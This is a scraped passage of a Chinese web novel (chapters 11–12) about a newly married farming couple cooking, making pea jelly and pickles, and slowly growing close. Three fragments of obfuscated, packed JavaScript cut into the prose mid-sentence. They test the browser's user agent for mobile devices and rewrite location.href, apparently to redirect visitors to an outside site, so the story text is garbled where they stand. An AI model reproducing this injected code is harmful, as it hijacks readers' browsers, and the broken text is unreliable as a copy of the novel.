“娘,我来搋糕吧。”方夏说道。 “哎,好!”周秀娘应着,手下不停,又接着切猪血,“你搋糕,娘炒个猪血韭菜。” 此地主要种黍子和莜麦,黍子这种粮食脱了壳就是黄米,磨成粉便是黄米面。 除此之外家里地多的也会种些谷子和高粱,这两种都是可以熬粥喝的,尤其谷子脱壳后的小米,熬出来的小米粥黄澄澄的,表面一层米油,特别好喝,若是家中有肠胃不好或者孕妇,往往都是熬小米粥来喝。 而稻谷和小麦是不种的,这边都是旱地,再加上气温低一年只能种收一季,因此种的都是耐旱的粮食,不过如今大历朝国富民强,各地货运便捷,富裕些的人家也能从镇上的粮铺买些稻米和白面吃。 作为主食,黄米面的吃法也很简单,可以做成黄糕糕或者油炸糕,素油糕需将黄米面用水和成拇指大小的粉团后上锅蒸,蒸好后再倒入盆中蘸着凉水反复捶打,也就是“搋糕”。 此时刚出锅的糕很烫,很考验做饭人的手艺,需得又快又熟练才能做好这黄糕。 而油炸糕则是将黄糕包上馅料油炸,可以包红糖、豆沙或是拌好的素馅,油炸后的糕外皮脆脆的、里面则是软糯筋道的,只有逢年过节才能吃到。 方夏从身后的橱柜里取出一个大陶盆,将锅里的黄米面倒入盆里,又拿碗舀了凉水搁在陶盆旁边。 他挽起袖子,一边蘸凉水一边迅速推揉着盆里的黄米面,不大一会儿功夫黄糕在盆里聚成一整团,最后方夏把胡麻油抹到糕上,这黄糕才算做好了。 他擦擦额头的汗水,放下心来,中午这顿总算没有做砸了,帮着周秀娘将碗筷都端上桌,三人坐在桌旁等着,家里汉子们都不在,他们妇人哥儿不好先吃。 李青梅坐不住,就去厨房看方夏拿回来的东西:“夏哥哥,这是什么?” 方才一进门就忙着去做饭,倒忘了说,他有些不安。家里是周秀娘主内,从外面拿东西回来却一声不吭,怕是要被说的。 “娘,是舅舅们家里给的,有食茱萸、枸杞子,还有金针。”方夏赶紧说,声音里带着点急迫。 周秀娘摆摆手,道:“我当是什么,一些吃食,沾亲带故的,给就拿着,咱们家也时不时给他们呢,亲戚亲戚越走动越亲。” “娘,啥是食茱萸呀?”李青梅又问。 “娘也没见过,只是听人说,这东西味道辣着呢,做酱料用的吧。” 李青梅吐吐舌头,不说话了。 “我见有金针呢,晚上给你们做汤喝。”周秀娘笑眯眯道,“咱后院种的那两畦金针菜也该能收了,这几日日头足,咱们也去摘了晾晒起来。” 方夏和李青梅点点头,农家就是这样,一日也不得闲,为了一口吃食总是忙活着。 正说话间,李达父子几人回来了,方夏忙去水缸里舀水给他们洗手,一家人围坐在桌边吃饭。 黄糕一人碗里一大块,蘸着菘菜炖肉的汤,爽滑软糯,不用费力去嚼,一口就咽下去了。 黄糕耐饥,吃上一块干活也有劲儿,老话常说“二十里莜面,三十里糕,十里稠粥饿断腰”。 待吃得差不多了,周秀娘问:“今日怎地回来这么晚?” “没啥,近几日天干没下雨,村长说是要引河里的水浇地,原想着一上午能轮到咱们,到晌午了还差几家呢,午后再去。”李达说。 一家人吃完饭,又各自忙碌去了。 一下午时间很快,待吃过晚饭已天擦黑了,方夏从灶房收拾完出来,李远山正将几个大竹匾收进柴房。 下午他们挑着后院能吃的金针菜摘了不少,但夜里寒凉,有些潮湿,就得将金针菜收起来等明日再晒。 方夏过去帮着一起收,都拾掇完,李远山去栓上大门,他今日又是杀猪又是去浇地,身上难免有味道,想来很不好闻。 以前只有他一人,忙完太累倒头就睡了,如今不一样,他已娶了夫郎,不把自己洗涮干净,怕是要遭人嫌弃的。 想好之后,李远山便开口道:“今日天热,出汗多,烧些水洗个澡吧。” “灶膛里的火还没熄,我这就去烧。”方夏应了一声,又转身进灶房了。 “多烧些,用耳房里的浴桶洗。” 方夏忽地想起耳房那个大浴桶,不自在地红了耳朵,幸亏天黑看不见,他低声回:“嗯,行。” 李远山将耳房放着的大浴桶搬进西屋,又去了灶房,烧火添柴用不着他,方夏做的很熟练,可他不知道怎么了,心里像住着一只野兽,黑夜助长了它的威风,让李远山忍不住想要挨着方夏,忙完一天的活计,仿佛同方夏待在一处才能缓解疲乏,才能让心中这横冲直撞的野兽安生下来。 方夏却有些慌,李远山蹲在他近旁,那么大块头的一个人让他有些喘不过气,厨房没点灯,只灶膛里的一点火光,黑暗让方夏不安的思绪又加了几分。 水烧好了,灶房里很安静,一时之间只有水开后咕嘟咕嘟冒气泡的声音,还是李远山打破沉闷,说:“你先洗吧,我给你提水进去。” 浴桶里的水兑好了,西屋里只剩下方夏自己,李远山同他说一会再进来便去灶房接着烧水了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292666|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >油灯哔哔剥剥地燃着,让他越发听清自己的心跳声,扑通扑通好似要从嗓子眼里跳出来,温热的水泡着身上很舒服,可他却沉不下心来。 方夏心不在焉地洗着,却洗得很快,他怕李远山进屋来自己还没从浴桶出来,囫囵个洗完穿好里衣就打算去倒水,幸亏他身上不是太脏,没几下就洗好了。 门吱呀一声开了,见方夏正要将脏了的水舀出来倒掉,李远山低哑的声音响起:“我来吧。” 方夏坐在炕上拿着布巾擦头发,李远山将浴桶里的水倒掉又换上新的水,屋里的灯摆在炕桌上,一闪一闪的,谁都没有说话。 见李远山要脱衣服,方夏拿着布巾的指尖都有些颤抖,他想出去,可家里人都歇着了,现在出去又很不妥当,但是就这么直愣愣坐着看人家洗澡又太难为情。 情急之下,方夏转过身去收拾自己换下来的脏衣服,将脑袋埋到了墙角。 李远山走过来,他想握一握方夏的手,可自己还没洗干净,一身臭汗怕唐突夫郎,到底忍住了。他转头吹灭了炕桌上的蜡烛,屋里顿时陷入了黑暗。 李远山得声音离的很近:“方夏,你别怕我。” “嗯。” “那,我去洗澡了。” “嗯。” 窸窣的声音离的远了些,不久便响起哗啦哗啦的水声,漆黑的屋子里一点儿声音都会无限放大,甚至两个人的呼吸声都和水声交织在一起。 虽然摸黑洗澡看不清,可至少自己夫郎不那么坐立难安,李远山想着,快速掬起一捧又一捧水拍到身上,来缓解内心的燥热。 不到一刻钟,李远山就洗完了,他长腿一迈从浴桶里出来,摸索着穿好了衣服。 “方夏,点个灯。” “哦……哦,好!”方夏挪到炕桌那边去点灯,屋里渐渐亮起来,扭头看到穿戴整齐的李远山正在收拾浴桶。 他正想要下地帮忙,方才就都是人家收拾的,一直坐着什么都不干这也说不过去。 方夏一只脚都踩在鞋上了,不想李远山一只胳膊伸过来拦住了他,“我来,你去左边柜子底下把那个黑色的木头匣子拿出来。” 水倒了,浴桶搬回耳房,一天的疲乏尽数洗去,夜渐渐深了。 昏黄的灯光下,李远山终于握上了方夏的手,好像心里那点难耐终于找到了出口,他忍不住揉了揉夫郎的指尖,方夏的手小,手指却细长,蜷缩着整个被李远山的大掌包着,没敢挣动。 一串铜钱被递到方夏另一只手里,李远山又打开了炕桌上的黑匣子,里面有三两散碎银子并几十个铜板。 他成亲没少花用,除了家里给拿了大头,一些零碎东西都是自己买的,现在钱匣子里没剩下多少了。 “我杀猪挣的钱和家里对半分,今日杀猪挣了一百八十多个,零头都给娘了,这里是九十枚铜板,咱们的钱你记着,收到这个钱匣子里,你平时若是要用,自己取就好。”李远山说道。 方夏整个人都震惊了,他瞪大眼睛,一会儿觉得自己在做梦,一会儿又觉得自己肯定是听错了。 李远山又摇了摇他的手,声音沉稳有力,道:“小夏,我以后就叫你小夏,我以后会好好待你的。” “嗯!”方夏的声音都不自觉高了些。 “早些歇息吧,明日还要早起。”李远山不舍地松开方夏的手,自去地下铺草席了。 躺在被窝里时,他心里还高兴不已,虽想不明白高兴些什么,可他就是高兴,让自己的夫郎吃饱穿暖过得舒心,日子就更有奔头了。 李远山忍不住又摸索着抚了抚自己的手掌,手心里仿佛还留着温暖的触感。 他吴大牛算什么,如今他也能牵着自家夫郎的手了。 11. 凉粉 这几日天气热,一直没下雨,方夏抬起袖子擦擦额头上的汗珠,他刚从后院喂完猪出来,手里提着空桶去洗涮。 一会儿还要去河边洗衣服,他收拾的很快,家里的活计慢慢都上手了,方夏很勤快,像喂鸡喂猪洗衣做饭,他总是抢着去。 身后跟着的李青梅嘟囔着:“夏哥哥你给我留点活干,不然娘又要数落我。” “你喂鸡鸭就好了。”方夏笑了笑,家里人对这个最小的妹妹很是疼爱,他也一样。 李青梅蹦跳着跑上前,抓着方夏的手摇:“夏哥哥,一会儿我同你一起去洗衣裳吧。” “好。” 离家不远的石拱桥下有块平缓的河滩,为着村中人洗衣方便,里正带着村中青壮年用石板铺出一块约莫一丈宽的地方,村里妇人哥儿都爱到这处洗衣服、拉家常。 方夏端着一大盆脏衣服,李青梅带着洗衣服的棒槌和皂角,俩人趁着日头还没到顶赶紧往河边走,到了青石板那块洗衣服的地方,见那里已经蹲着一个人了。 两人走过去一看,见是隔壁吴大牛的夫郎柳满,都不由得松了一口气。 他们一个年纪小,一个刚嫁过来不到半个月,都不擅于应付村里喜欢东家长西家短嚼舌根子的婶子哥嬷们,这会儿碰见熟识的柳满都很开心。 “柳满哥哥!”李青梅跑过去喊着。 柳满见方夏走近,笑眯眯地开口道:“夏哥儿也来洗衣裳啦?” “嗯,满哥儿来得真早。”方夏也朝对面笑了笑。 “不早不行呀,小石头天天土里打滚儿,衣裳脏的哟没法看呐!”柳满边捶打着衣裳边说,他嗓门大,别看比方夏矮半头,力气却不小,在双儿里是个颇能干的性子。 吴大牛与李远山同岁,只比李远山小几个月,他和柳满早几年就成亲了,可一直没有孩子,直到去年才生下了个小汉子,取名小石头。 小石头今年刚一岁多,正是皮的时候,家里人一个看不住就满地乱爬打滚,衣服往往是刚换了新的转眼间就脏的看不清颜色了。 没一会儿一个虎头虎脑的奶娃娃跌跌撞撞朝着河边跑来,嘴里喊着:“娘粉儿!娘粉儿!” 后边紧跟着一个头发花白的老太太,念叨着:“小祖宗啊,慢点儿走,慢点儿走!” “婶子。”方夏和李青梅朝着老太太打招呼。 见儿子和婆母过来,柳满甩甩手上的水珠站起来道:“想吃凉粉了?” “嗯嗯,石头吃,吃娘粉儿!”小石头抱着柳满的腿摇头晃脑地撒娇。 旁边蹲着的李青梅和方夏齐齐都笑了,两人正琢磨着这个“娘粉儿”是什么,此时听柳满说完,才知道原来是凉粉。 李青梅过去揉了揉小石头的嫩脸:“小石头想吃娘粉儿啊?” “是娘粉儿!嘟嘟,娘粉儿!”小石头一本正经大声说,还不忘又攀着柳满的腿往上爬,一时惹得大人们又哈哈大笑起来。 柳满在衣服上随意擦擦手,抱起儿子道:“好好!爹爹这就回去给你买!还有啊,是姑姑不是嘟嘟。” 李家和吴家素来关系好,再加上李远山和吴大牛是好兄弟好哥们,论起来小石头就喊李青梅一声姑姑了。 一行人洗好衣服就起身准备回家了,有柳满这个性子爽朗的双儿,再加上小石头吵吵闹闹,一路上笑声不断,倒也热闹。 快走到家门口时,却看见一个年轻女子吃力地抱着一个大木盆,盆里满满当当堆着脏衣服,急匆匆朝着河边走去。 她头上虽然包着布巾,却有好几缕头发乱七八糟散下来,遮住了枯黄清瘦的脸。 她走得快又低着头,没留神碰了方夏一下。 方夏不认识她,只快速往旁边侧了侧身。 “青青去洗衣裳?”柳满问道。 迎面而来的女子这才停下脚步,有些恍惚地抬起头,这下众人都看清了她脸上的淤青,本就清瘦的人好似风一吹就能倒下一般,怀里还抱着一个快把人遮住的木盆,怪不得看不清路。 众人都有些惊,一时之间谁也没有说话。 那女子向着方夏低声道了一声“抱歉”,又和众人打了声招呼,垂着头往河边摇摇晃晃地走了。 “造孽啊!好好的闺女磋磨成这样子!”吴老太叹了口气,摇摇头抱着孙子回家了。 方夏又回头望了望,身后已经没有了那人的影子,他这些日子在李家住着,吃得饱穿得暖,家里人也待他和气,让他渐渐忘记了曾经受过的苛待,那些打骂挨饿的日子好像做梦一样,离他越来越远了。 今日路上碰见的这个女子,虽不认识,却不知怎么地,让他心里惴惴不安起来。 待回到家,场院里李远山不在,这几天天气热,猪肉不好卖,村里人买的差不多了,李远山就会带着二弟去周边村子叫卖。 兄弟俩一般都是推着板车,猪肉不好存放,尽量是当天都卖出去最好。 方夏端着洗干净的衣裳去晾晒,见周秀娘正在园子里摘菜,便喊了一声“娘”。 秋老虎虽热,可也就这几天的功夫,园子里的菜也到了下架的时候,长成熟的都要摘下来,吃不完可以切片或者切条,晒成干储存起来做冬天的口粮,没长成的随着天气越来越冷,也成不了气候,便混着藤蔓一起拔下来喂牛。 周秀娘见方夏有些神思不属,停下手里的活计问道:“怎地了?” “我们刚刚碰见隔壁的青青嫂子了,她也去河边洗衣裳呢,就是脸上都是伤。”李青梅嘴快,抢着说道。 “唉……”周秀娘不自觉叹了口气,语调中带着同情,“这孙青青也是命苦,怎么就嫁了这么一家人呢?可怜见的。” 周秀娘手里不停,边干活边和过来一起摘菜的方夏拉家常,旁边站着的李青梅也上手帮忙将拨下来的藤蔓捋顺摆整齐。 他们李家西边住着吴家,东边则是一片荒地,荒地过去几步远住着徐家,徐家三代单传,老两口就一个儿子叫徐宝,只比李远山小两岁。 这徐宝让爹娘惯坏了,又懒又馋,附近村子的人家没有愿意同他们家结亲的,徐老太就托人从远路找了人家。 徐宝去年成亲娶了孙青青后,刚开始还挺收敛,装出一副心疼媳妇的样子,可没过多久便本性暴露,家里地里活也不干,只一味吃喝玩乐。 家里徐老太也是个霸道不讲理的主儿,小夫妻俩起了争执,徐老太一心偏向着自家儿子,对着儿媳非打即骂,不到一年功夫,将人折磨的骨瘦如柴,不成人样。 可这些都是别人的家事,他们也就是说说,也没什么办法,村中素来多婆母给媳妇立威的,汉子们打骂媳妇和夫郎也是寻常,只是多少听着心里唏嘘。 “要我说啊,这亏心事做多了,是要遭报应的!”周秀娘拍了拍方夏的手说,“你呀,莫多想,咱们家可不是那样的人家,你且往后看。” 方夏点点头,说:“知道了,娘。这些没长成的茄子胡瓜豆角都不要了吗?” “不要了,摘下来这些大的都吃不完呢。”周秀娘回道。 “娘,能做酱菜的,别扔了吧?” “真的?娘就会弄个芥菜疙瘩腌着吃,这些嫩瓜嫩菜的还没指头粗,也能做酱菜?” 方夏抿着唇笑:“能的,我会做。” “哎吆,夏哥儿会的不老少呢!”周秀娘转头对着闺女道,“青梅一会拿个筐子把这些摘一摘,你夏哥哥给做酱菜呢。” 李青梅答应着,一蹦一跳去柴房找筐子去了。 不多时,外出的李达回来了,他冲着周秀娘摆摆手道:“老婆子,今日去晚了,凉粉早就卖完了,你看着做些别的菜吧。隔壁吴老头也没买到,过来时还听见他家小石头哭呢!” 天气炎热家里人这几日吃饭也不香,本想着买些凉粉,吃着也好下饭,可人家小贩卖完了,也是没法子的事。 周秀娘随手拿了几个圆肚茄子准备去灶房做饭,挽着袖子道:“今日就吃酱烧茄子吧,天热没胃口也不多做了吧。” “娘,凉粉我会做,就是吃着比不得外面买的好,要不我做一些?”方夏帮着把准备晒菜干菜条子的几筐菜收进柴房去,洗了洗手说。 周秀娘都惊了,他家这小夫郎,怎地什么都会做啊?她高兴地拍拍手道:“好好,你做,哎吆哎吆!我儿远山是个有福气的。” 方夏不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292667|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好意思地别过头,忙去厨柜里的面口袋里找豌豆面了,他会的这些无非就是寻常人家都会的做饭洗衣,从前哪有人这样夸赞他,让他一时不知道该说点什么,心里欣喜万分,只埋头认真干活。 “我夏哥哥真厉害!”李青梅转头朝着方夏大声说,“夏哥哥多做些,我今日不吃饭了,就吃凉粉!” “嗯,多做些,出锅了先给你吃。”方夏忍不住笑。 这些做饭的手艺还是他小时候阿奶教的,他虽人笨些,可后来天天做饭,手艺渐渐也练的醇熟了,可他的阿奶还没等到她孝敬就早早没了。 方夏摇摇头,不再想这些,他从布口袋里舀了两碗豌豆面,估摸着差不多了,便拿了抹布去擦家里的大水缸。 做凉粉既可以把做好的粉坨子侵入凉水里自然放凉,也可以出锅时直接将凉粉涂抹在装有冰凉井水的水缸外面快速成型。 今日天气热,又快到饭点了,方夏便用水缸晾凉的方法,这样快些。 灶房里正忙着,李远山兄弟几个一起回来了。李远山和李云山收拾好卖肉的家伙什,李晓山提着割草的筐子放好,几人听说今日方夏要做凉粉,都高兴得不行,尤其李晓山,割草大太阳晒了一上午,现在就想吃口凉粉。 水缸里的水不多了,听说要用冰凉冰凉的井水,李远山便挑着扁担去打水了,两个弟弟也跟着去了。 不一会儿功夫,水缸里就满了。 那边方夏正拿着擀面杖搅合着锅里的面糊糊,做凉粉火候和力道都很关键,要在锅里的水开后将豌豆面一把一把下到锅里去,还要同时拿着擀面杖搅拌,越到后面搅合的面糊变筋道才行。 方夏抬手拿袖子擦擦额头的汗珠,双手握着擀面杖继续搅,今日做的量大,有些费力,不多时便出了一身的汗。 李远山挑水回来后挪到了灶台边,握住方夏手里的擀面杖道:“我来。” 方夏手猛地一缩,往旁边挪了一下,倒不是害怕,自那日李远山抓着他的手同他说会好好待他,每每对着李远山,方夏便有些害羞,何况厨房里人多,他就更不好意思了。 待锅里的豌豆粉变成粉坨状,方夏便同李远山说可以了。 撤火下锅,李远山按着方夏的指点将锅搬到装满冰凉井水的大水缸旁,这时要趁热将搅合好的粉坨均匀涂抹到水缸的外面,借着水缸的凉气让凉粉尽快凝固定型。 方夏拿着锅铲,正快速往水缸上抹凉粉坨,要尽量薄厚差不多,凉粉表面光滑些,这样做出来的口感才好。 蒸腾的雾气中,方夏眉眼俊秀,正一铲子一铲子抹着凉粉,丝毫没有注意到对面盯着他看的李远山。 待周秀娘做好了酱烧茄子和黄糕,这边水缸上的凉粉也晾的差不多了。 方夏趁着这会功夫先做了个拌凉粉的汤,他找了个略微小一点的盆,切了蒜末,倒了酱油、醋,还用麻油炸了花椒粒,又去菜园里择了一小把芫荽剁碎放到盆里。 想着李远山爱吃辣,便又去橱柜后的布袋里找到前几日拿回来的茱萸放到石钵里捣碎备着。 方夏手脚麻利,不一会儿功夫调料就做好了,水缸外壁上的凉粉可以吃了,他拿着刀先竖着划成一块一块的,待慢慢卷着揭下来后就码整齐放在切菜板上,最后将凉粉切成手指粗一条一条的放在大碗里。 凉粉做好了,一家人都端着大碗,碗里的凉粉淋上汤汁,吃起来滑嫩爽口,不怎么用嚼,顺着喉头滑到了胃里,李达和周秀娘连连说好吃,弟弟妹妹们埋头吃着都顾不上说话。 今日做的多,家里人吃不完,周秀娘便喊方夏去给一个巷子的街坊邻居送一些,俗话说“远近不如近邻”,万一日后有个什么,也好喊人帮忙。 方夏点点头去找竹篮,将剩下的凉粉放进去后,他一抬头猝不及防的对上了李远山带着笑意的眼睛。 李远山没想到方夏还记着他爱吃辛辣的,心里说不出的舒坦,连带着整张脸上都是藏不住的暖意:“凉粉好吃,你手艺真好。” “下次再给你做。”方夏慢慢挪开眼睛,想喊上李青梅同他一起去。 “我同你去吧。”李远山长腿一迈,跟在方夏身后出门了。 12. 做酱菜 周秀娘看着两人一前一后相携出门的背影,高兴之余又忍不住拿袖口抹了抹眼泪。 “这是怎地了,老婆子?好好的咋哭了?”旁边坐着的李达急忙放下筷子问道。 见周秀娘这样,桌边围坐着的几个孩子也齐齐看过来。 周秀娘拍拍大腿,道:“没啥,我老婆子这是高兴,高兴着呢!哎,看着远山他俩和和美美的,我是真高兴!” 一家人顿时都笑了,闹哄哄的开始收拾饭桌。 吴家堂屋里,小石头还一抽一抽哭鼻子,因着没吃上凉粉连饭都不肯吃了,急得吴大牛团团转,头发都快薅下来了也没哄好。 李远山推门进来,带着方夏先打招呼。小石头不像村里其他小孩子惧怕李远山,他们两家常走动,小石头有时玩耍路过肉摊子,李远山还会给孩子切块卤猪耳朵吃。 见着熟人进门,小石头又哭起来了,方夏赶紧从胳膊上挎着的竹篮里端出来一碗凉粉,李远山适时开口:“夫郎做的凉粉,给你们送些尝尝。” 有了凉粉,小石头总算止住了哭声,柳满先去喂孩子了,吴大牛送他们出门,临走时吴老太非要往方夏手里塞了几个咸鸡蛋,说是刚腌好的,正好吃了。 村里就是这样,你家有稀罕吃食了给我家端点,我家得了什么新鲜的也分你家一些,东西虽不值钱,却是乡里乡亲的一份情谊。 左邻右舍的几户人家李远山领着方夏都认了认,凉粉都送出去了,竹篮子里却不是空的。 人人都夸方夏做的凉粉好,能拿去摆摊了,又说他们夫夫俩般配,好似从前人们从没背后偷偷喊过李远山“李癞脸”。 等最后去给东边徐宝家送的时候,徐老太那阴阳怪气的模样也没影响李远山的好心情,他知道,日子是自己过的,旁人说什么与他们无关,只不过住得近,他爹娘从小教育他和气生财,能过得去的便意思意思过去,不必惹一些没必要的麻烦。 ------------------------------------- 既然要做酱菜,就得找些小一些的陶罐或者坛子。 方夏见灶房里放着的咸菜缸子太大,而早前摘出来的胡瓜豆角也没多少,再说新做的酱菜和旧的腌菜放一起串味了也不好,问过周秀娘后便去了耳房。 耳房里有些不用的小坛子,方夏预备收拾出来洗干净后拿来放做好的酱菜。 正要出去时抬眼就看见门边那个显眼的大浴桶,让他忍不住红了脸,自那日在屋里用浴桶洗过澡后,他再也没用过这个浴桶。 一来是乡下打水不便,不能日日这样洗,往常都是每到晚上拿着布巾擦洗一下身上的脏污就成。二来就是怕和李远山在一个屋里洗澡,太难为情了,虽说他们已成亲有些日子了,可他一个双儿和一个汉子在一个屋里洗澡,还要共用一个浴桶,怎么想都躁得慌。 东西都预备齐了,方夏灶房里准备开始做酱菜。 原本周秀娘说要给他打下手,被他劝出去了,本来也没多少东西,用不着两个人忙,再者说自打他嫁进来,婆母日日操劳着,该让老太太歇歇。 周秀娘乐得合不拢嘴,可她也是个闲不住的人,儿夫郎既不用她,她就自己拿了小菜板和菜刀,去院里坐着切菜。 趁着这几日天儿好,将预备储存的菜干菜条尽快晒出来收好,等冬天天冷了也不愁家里没吃食。 吃过晌午饭,家里的汉子们打柴的割草的都出门去了,院子里静悄悄的,只有咔嚓咔嚓切菜的声音。 茄子去掉尾部的硬蒂切成一头相连的散花状,待水烧开了上锅蒸,胡瓜洗干净切条,撒上盐巴后放置在一旁,方夏将菜板擦干净后开始收拾豆角。 他手上不停,豆角需得用盐巴裹着揉搓,如此才能尽快入味。 待豆角揉搓的差不多了,方夏甩甩手,蹲下身往灶膛里添一把柴,看锅里水咕咚蒸着茄子,他又转身去看准备放酱菜的小坛子晾干了没有。 放酱菜的坛子里面不能有一滴水,不然做出来的酱菜容易坏,这些小坛子洗干净后在门口的台子上晾着,这会儿已经都干干爽爽的了。 方夏把小坛子拎进灶房,预备先腌豆角,虽然这些活计繁琐细碎,可他却丝毫不乱,依着记忆里的方法有条不紊地忙碌着。 豆角在坛子里铺一层便要撒一层盐巴,这样一层豆角一层盐巴铺满整个小坛子压实,最后封口,做好的腌豆角放在阴凉处,等上十来日就能吃了。 过了约莫一刻钟,茄子也蒸好了,方夏正蹲着埋火,隐约听见院门吱呀一声开了,回头就见李远山挑着两捆柴进了院子,他身高腿长,挑着那么重的柴火也不显吃力,几步走去旁边的柴房去放柴火了。 李远山走进灶房时,见方夏正掀开笼屉从锅里往外捡拾蒸好的茄子条,锅里热气升腾,方夏却没用筷子,直接上手就拿。 他虽动作麻利,却隔几下就被烫得捏捏耳朵,李远山紧走几步过去帮他,没一会儿功夫就把锅里的茄子条都捞出来了。 方夏正给茄子条上撒盐巴和蒜末,冷不丁一只大手伸过来抓住了他的,方夏想抽手却抽不动,李远山力气有些大,攥着人的手也热,让他忍不住红了脸。 “可有烫到?”李远山拉着方夏红红的指尖吹了吹,“用筷子就好,何苦直接上手呢?” “习惯了。”方夏耳朵尖都是红红的,这人怎么这样呢?总要抓着他的手,在自己屋里也就罢了,在外面还要握着不放,让人看见了多不好。 李远山不知方夏心里所想,只一心握着夫郎的手指揉捏。 院门忽地哐当一声开了,李晓山的声音传来:“大哥!大哥来帮帮我!” 方夏猛然抬头,正正对上李远山带着笑意的眼睛,左脸上的伤疤离得近了,呼吸间能看到纵横交错的伤疤也在微微抖动,方夏又急又慌,怕家里人突然进来,眼睛都是红红的,使了大力终于从李远山掌中抽出了自己的手,慌乱中还不小心推了对面的人一把。 李远山被推得一个趔趄,方夏才多大点劲,只是他方才心思旖旎毫无防备,竟让方夏一把推了出去。李远山不由一怔,眼里的光都散去不少,胸口好似坠了块千斤重的石头往下沉,但他惯会隐藏自己的情绪,只深深吸一口气便转身出去了。 回想起方才李远山被推开时满脸错愕的样子,方夏心里忐忑极了。 他想现在就追出去,想告诉李远山自己并不是嫌弃他面貌丑陋,也不是害怕畏惧他,可院子里娘和弟弟都在,他不敢就这么出去。 他们虽说已成亲数日,可当着家里人的面,他也不知道该怎么开口。 院子里传来周秀娘责怪的声音:“打草找块平坦的地儿都行了,非要往沟里跑,幸亏只是鞋子坏了,万一人摔了,有你疼的,看你这臭小子还嬉皮笑脸的?” 方夏悄悄从灶房门口看一眼,见院子里李晓山正晃悠着脚上好似□□张着嘴的鞋,笑嘻嘻撒泼打滚。 察觉李远山盯着自己的视线,他慌忙转过了头。 方夏向来知道自己有些笨,如今惹夫君不喜,也不知该怎么去哄人。 他知道李远山待他好,他也想待李远山好,可眼下却不晓得怎么办才好,自己在灶房里转了两圈,才想起来胡瓜控好水了,该去腌制了。 他心里装着事,切姜片时差点切到手,方夏稳了稳心神,慢慢调好了腌胡瓜的料汁,拌好料汁的胡瓜被整整齐齐放到小坛子里,那边盆里的茄子条也放凉了,茄子条包上芫荽放进另外一个坛子,搁上两天就能吃了,这些酱菜早上就着米粥面饼吃,最有滋味。 方夏把三个酱菜坛子都放进耳房后,又去收拾灶房,周秀娘还在院子里絮絮叨叨:“鞋有些小了,先缝上凑合穿两天,这几日也该做厚鞋子了。臭小子这大脚板,半年功夫又长了……” 从灶房出来,方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292668|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏见没什么活做,就回屋里缝荷包去了,刚才他在院子里没见着李远山,屋里人也不在,想来是出去了,只是不知道去了哪里,他心思恍惚,绣花时不小心扎了手,吮了吮冒血的指尖,盯着窗户开始发呆。 晚间淅淅沥沥地下起了小雨,李远山牵着牛急匆匆从外面回来,家里牲畜多,趁着雨不大,李远山带着弟弟们去填料填水,又把后院牲畜住的棚□□结实,等回来吃饭时天都黑透了。 天黑的早又下着雨,晚上也无事可做,盥洗完方夏就早早躺下了,雨点敲打着窗户,吵得方夏有些睡不着。 他躺着翻了个身,在被子里蜷缩起腿,一场秋雨一场寒,也该冷了。今日晚饭时李远山也没怎么同他说话,人多他更不好意思张口,何况他也不晓得说什么,吸了吸鼻子,方夏又翻了过去。 “怎地了?”正在地上铺破草席的李远山问。 方夏抱着被子坐起来,看着油灯下李远山高大挺拔的身影,心里紧张得缩成一团,可想起自己今日推了人,惹得夫君不快,又鼓足勇气闷闷开口:“下雨了,天凉,你上炕来睡吧。” 窗外雨声渐大,噼里啪啦敲打着人心,可李远山还是听清了方夏的声音,他楞了片刻有些不敢相信:“什么?” “你上炕来睡吧。” 李远山噌的一下就站起来,随便将手里的破草席卷吧卷吧扔回柜子里,看都没看一眼,他想,这破草席早该扔了。 还没等方夏给他铺好被褥,李远山已经跳上炕了,他一手铺自己这边的炕,一手将方夏用被子围起来,道:“我来吧,有些凉,你睡吧。” 方夏很听话,拉过被子躺下了,待李远山吹熄油灯躺下时,方夏还没反应过来。屋里很黑,可他们的被褥挨着,两个人都能听见彼此的呼吸声,他们成亲数日,却是第一次睡的这样近。 模模糊糊中方夏看到身旁被子鼓起的轮廓,哪怕躺着也能看出李远山魁梧健壮的身形,他更睡不着了,李远山是自己的夫君,可方夏也是第一次同一个汉子睡在一起。 李远山呼吸更粗重了些,身侧是娇软乖巧的小夫郎,今日方夏虽推了他一把让他有些沮丧,可现在他却兴奋得都能扛着猪跑。 夫郎主动让他上炕来睡,平日里眉目沉静、鲜少有多余表情的汉子,在黑暗里却高兴地咧着嘴。高兴之余他又觉得手中缺点什么,犹豫了半晌,黑暗中李远山摸索着握住了方夏的手。 “怎地这样凉?” 方夏微微红了脸,这次他没抽出手,只低声回:“一直这样的,天气凉些我就手脚都是冷的。” 李远山撑着胳膊斜坐起来,长臂一伸摸到了方夏冰凉的脚。 他是个汉子常年火气旺,不曾想方夏手脚竟是如此冰凉,不由得颤了一下。 